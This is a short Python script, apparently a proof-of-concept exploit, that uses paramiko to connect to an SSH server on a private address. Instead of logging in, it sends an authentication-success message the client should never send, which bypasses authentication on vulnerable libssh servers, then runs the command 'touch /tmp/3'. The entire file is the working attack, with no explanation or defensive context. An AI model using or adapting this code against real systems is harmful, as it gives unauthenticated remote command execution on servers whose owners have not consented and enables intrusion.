import paramiko import socket sock = socket.socket() try: sock.connect((str('192.168.232.198'), int(22))) message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client() message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) cmd = transport.open_session() stdin, stdout, stderr = cmd.exec_command("touch /tmp/3") res,err = stdout.read(),stderr.read() result = res if res else err print(result) except: pass